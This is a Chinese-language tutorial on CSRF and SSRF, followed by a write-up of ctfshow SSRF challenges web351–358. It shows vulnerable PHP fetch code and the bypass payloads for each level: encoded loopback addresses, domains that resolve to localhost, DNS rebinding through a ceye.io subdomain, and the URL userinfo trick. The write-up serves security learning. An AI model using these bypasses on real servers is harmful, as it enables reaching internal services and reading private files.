CSRF 与SSRF基础 及ctfshow 练习
CSRF 与SSRF基础
1.0 CSRF简介
CSRF,即跨站请求伪造,也可以缩写为XSRF,通过此漏洞,攻击者可以在目标不知情的情况下以
目标的名义伪造请求,从而执行恶意操作
CSRF攻击有两个条件:
1 目标登陆了网站 能够执行网站的功能
2 目标用户访问了攻击者的URL
我们通过让目标触发我们模拟的url达到以其身份发出我们想要的数据的效果。
这要求我们对正常操作时应该发送什么数据比较了解,在这我们可以使用CSRFtester来进行数据
包捕获,捕捉到数据后可以自动生成发送这些数据的HTML代码,我们诱导受害者触发改该html代
码即可以其身份帮我们发送这些数据
1.1 CSRF判断
判断CSRF有三个点:
1 是否有同源判断,即判断访问页面的来源页面,如果加上检测,就还需要伪造referer
判断方式:从外部页面访问是否和在网页内部访问一致
2 看凭据是否有token,token每操作一次token就会改一次,如果网站cookie中包含token,则无
法进行CSRF
3 看关键操作有无验证
如果网站有同源判断,我们可以通过php实现referer伪造。
或者尝试将生成的html代码上传到目标网站中,让其点击。
1.2 SSRF简介
SSRFF,即服务器端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一种安全漏洞,是
由服务器端发起的。
举一个例子,如果某网站有通过url,远程访问下载图片功能,则说明服务器会访问我们提交的
URL,通过访问服务器本身地址,即http://127.0.0.1可以实现服务探针,判断其开放了什么端口,
如果该服务器下存在内网,我们可以将公网地址改为私有地址,检测其本地是否存在内网。 通过
爆破的方式将与服务器链接的内网地址找到。
更进一步,我们可以通过内网的一些协议直接读取非网站目录下的服务器文 件。由于使用协议时
借助的是服务器网页的脚本,所以不同语言下可以使用的协议也可能不同。
接下来的内容是ctfshow的练习部分
SSRF
1.0 ctfshow web 351
打开后显示了网页代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
先对其进行解释curl_init($url);
打开一个url会话,以便后续操作
curl_setopt($ch, CURLOPT_HEADER, 0);
这是返回内容设置,用来CURLOPT_HEADER
表示用
来设置返回内容中是否包含header内容,0是不包含
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
该操作设置访问url的内容不直接输出,
而是返回值,便于用变量接受。
$result=curl_exec($ch)
访问url,传回页面信息
$result=curl_exec($ch); curl_close($ch);
关闭url会话,这就是php中一个访问url,并获取信息的部分,很明显,这符
合我们上面对ssrf的描述,也就是说该页面存在ssrf漏洞,我们想要获取flag
先用http协议试一下flag是否在网页目录下,如果不在的话就使用别的协议
url=http://127.0.0.1/flag.php
post提交
发现直接返回了flag,既然这样说明flag文件就位于网页目录下,我们再用file协议获取一下
url=file://var/www/html/flag.php
发现不行,要么是地址不对,要么是将file协议给过滤了
1.1 ctfshow web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
这个看似过滤了,其实如过,我们仔细看一下正则表达式的匹配函数
preg_match('/localhost|127.0.0/')
这需要被匹配的字符串呢?这没给不就一点用都没有,
所以上一题payload拿下
url=http://127.0.0.1/flag.php
1.2 ctfshow web 353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
这个题才是正常过滤了,相比前几题多过滤了本地地址
还记得我们之前做的文件上传题目中,过滤了小数点我们是怎么解决的呢?
ip转数字,这一题也是一样的思路,我们有payload:·url=http://2130706433/flag.php
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php
还有几种方式
127.1会被解析成127.0.0.1
在linux中,0也会被解析成127.0.0.1
回环地址:127.0.0.1 —> 127.255.255.254都会被解析为本地地址去处理。
拿下
1.3 ctfshow web 354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
这题把01给过滤了,转出的10进制,16进制,2进制里都有0和1,这该怎么处理?
我们可以使用我们自己的域名,在解析栏将其设置为 本地地址,这样就可以解析到本地了,
我们也可也使用一些公司提供的解析到本地的域名
113.taobao.com
safe.taobao.com
wifi.aliyun.com
imis.qq.com
ecd.tencent.com
选择合适的域名,拿下
1.4 ctfshow web 355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
本题对host长度做了限制,我们在web353说过,127.1
和0
都会解析为本地地址,按这个思路拿
下flag
1.5 ctfshow web 356
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
和上题一样,只不过域名限制3个字符,用0即可
url=http://0/flag.php
1.6 ctfshow web 357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
本题的过滤和之前又有不同
gethostbyname
方法用于获得host对应的ip地址
filter_var()
函数是 PHP 内置的过滤器函数,用于验证和清理变量的数据。在上述代码片段
中,它的用法是用来验证 $ip
是否为一个有效的公共 IPv4 或 IPv6 地址,同时排除私有 IP 范围和
保留 IP 范围
FILTER_VALIDATE_IP
:这是一个预定义的过滤器常量,指示 filter_var()
函数验证 $ip
是否为合法的 IP 地址(可以是 IPv4 或 IPv6)
FILTER_FLAG_NO_PRIV_RANGE
:这是一个标志位,表示在验证过程中应排除私有 IP 地址范
围。私有 IP 地址是指那些在局域网内部使用的地址,比如 IPv4 中的 10.x.x.x、172.16.x.x 至
172.31.x.x、192.168.x.x 等范围。
FILTER_FLAG_NO_RES_RANGE
:这也是一个标志位,表示在验证过程中应排除保留 IP 地址范
围。保留 IP 地址是指在互联网上不可路由的地址,比如 IPv4 中的 0.x.x.x、127.x.x.x、
169.254.x.x 等范围,以及一些IPv6保留地址块。
也就是判断ip是否为公网ip,如果是的话返回IP,不是的话返回false
该函数如果验证成功,顺利执行,验证失败则整个程序结束运行。
file_get_contents()
用于从远程文件获取内容并返回
该过滤似乎限制的比较严格,我们应该怎么绕过呢?这时候就需要使用一种新技术了:
DNS Rebinding:
DNS重新绑定是计算机攻击的一种形式。 在这种攻击中,恶意网页会导致访问者运行客户端脚本,
攻击网络上其他地方的计算机。 从理论上讲,同源策略可防止发生这种情况:客户端脚本只能访问
为脚本提供服务的同一主机上的内容。 比较域名是实施此策略的重要部分,因此DNS重新绑定通过
滥用域名系统(DNS)来绕过这种保护。
这种攻击可以通过让受害者的网络浏览器访问专用IP地址的机器并将结果返回给攻击者来破坏专用
网络。 它也可以用于使用受害者机器发送垃圾邮件,分布式拒绝服务攻击或其他恶意活动。
简单理解就是上述代码的过滤有两个DNS解析过程,第一次是检测我们的域名是否合法,第二次是
正常访问,我们只需要让DNS服务器解析的ip在第一次合法,第二次是我们的目标ip即可,通过设
置一个很短的ttl即可完成该操作,这种绕过方式就是DNS Rebinding,但我们自己去设置DNS服务器
似乎比较麻烦,这时候可以利用一些平台,比如[这个](CEYE - Monitor service for security testing)我们在dns rebinding设置中将第一个Ip地址设
置为正常,第二个地址设置为我们的目标地址即可
我们实际使用时需要在分配给你的域名前加入r.
本题payload:url=http://r.0xqmoz.ceye.io/flag.php
1.7 ctfshow web 358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
本题对Url的格式进行了限制,限制http://ctf.
开头show
结尾
我们这次的过滤需要用到url的构成的相关知识,我们明白,@
前的内容呢是url的username和
password,?
后的内容是查询字符串,所以这两部分的内容是不会算进host去解析的,有了这个
知识点,我们构造payload就简单了
url=http://ctf.@127.0.0.1/flag.php?show
这样即可绕过
其余的题目设计到内网渗透以及对应的工具,这里就不继续讲了